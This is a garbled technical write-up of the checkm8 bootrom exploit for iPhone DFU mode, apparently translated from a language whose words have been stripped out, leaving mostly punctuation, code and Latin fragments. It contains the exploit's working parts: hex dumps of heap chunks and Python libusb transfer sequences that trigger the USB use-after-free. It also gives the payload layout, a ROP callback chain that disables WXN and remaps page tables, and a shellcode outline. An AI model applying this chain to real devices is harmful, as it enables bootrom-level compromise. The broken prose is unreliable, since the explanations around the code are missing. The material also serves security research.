00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
, High Speed
Full Speed
, IO
-. , , , . , .
2. IO-
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
OUT
- . , io_buffer
. DFU
DFU_CLR_STATUS
, DFU
.
3. usb_device_io_request
use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
usb_device_io_request
t8010_overwrite
, .
t8010_nop_gadget
0x1800B0800
callback
next
usb_device_io_request
.
t8010_nop_gadget
, , LR
, - free
callback
- usb_core_complete_endpoint_io
. , , .
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
INSECURE_MEMORY + 0x800
. INSECURE_MEMORY
, 0x800
callback-chain
, .
4.
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
. :
0x1800B0000: t8010_shellcode # shell-code ... 0x1800B0180: t8010_handler # usb- ... 0x1800B0400: 0x1000006a5 # # SecureROM (0x100000000 -> 0x100000000) # ... 0x1800B0600: 0x60000180000625 # # SecureRAM (0x180000000 -> 0x180000000) # 0x1800B0608: 0x1800006a5 # # 0x182000000 0x180000000 # 0x1800B0610: disabe_wxn_arm64 # WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. callback-chain
dfu.usb_reset(device) dfu.release_device(device)
USB
usb_device_io_request
. , callback
. :
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
, 0x70
. f(x)
f
x
.
, Unicorn Engine
. uEmu .

iPhone 7
.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
. , .
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
, , . , , .
5.3. enter_critical_section()
.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
0x1800B0000
. INSECURE MEMORY
, . , :
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
, .
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never), RW
. WXN
- .
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
. BootROM
, INSECURE_MEMORY
.
5.8. tlbi
.
5.9. exit_critical_section()
.
5.10. 0x1800B0000
shellcode
.
, callback-chain
— WXN
shellcode
RW
-.
6. shellcode
shellcode
src/checkm8_arm64.S
:
6.1. USB
-
usb_core_hs_configuration_descriptor
usb_core_fs_configuration_descriptor
, . . USB
-, shellcode
.
6.2. USBSerialNumber
- , " PWND:[checkm8]"
. , .
6.3. USB
-
USB
- , .
6.4. USB
- TRAMPOLINE
( 0x1800AFC00
)
USB
- wValue
0xffff
, , . , : memcpy
, memset
exec
( ).
.
USB
Proof-of-Concept checkm8
Arduino
Usb Host Shield
. PoC iPhone 7
, . iPhone 7
DFU
Usb Host Shield
, PWND:[checkm8]
, USB
- ipwndfu ( , - ..). , , USB
-. USB_Host_Shield_2.0 . , patch- .
. checkm8
. , . jailbreak-. , jailbreak checkm8
— checkra1n . , jailbreak ( A5
A11
) iOS
. iWatch
, Apple TV
. , .
jailbreak, Apple. checkm8
verbose- iOS
, SecureROM
GID
- . , , JTAG/SWD . , , . , checkm8
, Apple
.
Referensi
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- ipwndfu LinusHenze